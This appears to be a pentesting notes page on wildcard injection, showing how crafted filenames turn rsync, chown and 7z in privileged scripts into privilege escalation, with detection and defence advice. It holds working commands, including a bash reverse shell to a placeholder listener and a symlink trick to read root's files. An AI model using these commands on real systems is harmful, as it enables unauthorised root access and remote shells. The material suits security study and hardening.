the_open_door
coffee
ESEN
← Back to index

Wildcard abuse (wildcard injection)

When a privileged script uses a wildcard, as in chown -R www-data *, the shell expands that * into the directory's file list before the program ever sees it. If we can write there, we can create files whose names start with -, and the program will read them as options rather than as data. The filename becomes an argument, and that is the whole flaw.

The best known case is tar, which has its own page: tar wildcard injection. But the pattern repeats across several binaries that show up regularly in maintenance scripts.

rsync accepts -e, which names the program to use as the remote transport:

cd <wildcard-directory>
touch -- '-e sh shell.sh'
echo 'bash -i >& /dev/tcp/<lhost>/<lport> 0>&1' > shell.sh

chown and chmod accept --reference, which copies another file's owner or permissions. If the privileged script runs chown -R user *, a file named --reference=<our-file> makes the whole directory belong to whoever we choose:

touch <our-file>
touch -- '--reference=<our-file>'

7z takes -i@<file> to read the list of entries from a file. Since its errors include the content it could not compress, it doubles as a way to read files we should not be able to read:

touch @root.txt
ln -s /root/root.txt root.txt

To find it you read the script, not the binary:

cat /usr/local/bin/<script>.sh
crontab -l; cat /etc/crontab
sudo -l

Nuances. Two conditions must hold at once: write permission in the directory where the wildcard expands, and the script genuinely using * rather than an explicit path. A chown -R user /var/www/ is not exploitable this way.

How to detect it. At rest, the signature is option-named files in a directory a privileged process globs with *: names starting with - (-e sh ..., --reference=..., --checkpoint-action=...) or @, which no legitimate data file carries (FIM/auditd on creation with those names). At runtime, the script's binary (tar/rsync/chown) spawning sh/bash as a child, or applying --reference from a controlled file, is the confirmation (auditd/Sysmon for Linux over execve with the script/cron as ppid). When a scheduled task triggers it, pspy shows the exact line with the * (pspy).

Defence. In scripts, absolute paths and a -- before the arguments to stop option parsing; better yet, find ... -print0 | xargs -0. Related to cron over a writable script and sudo abuse.

Machines where it's used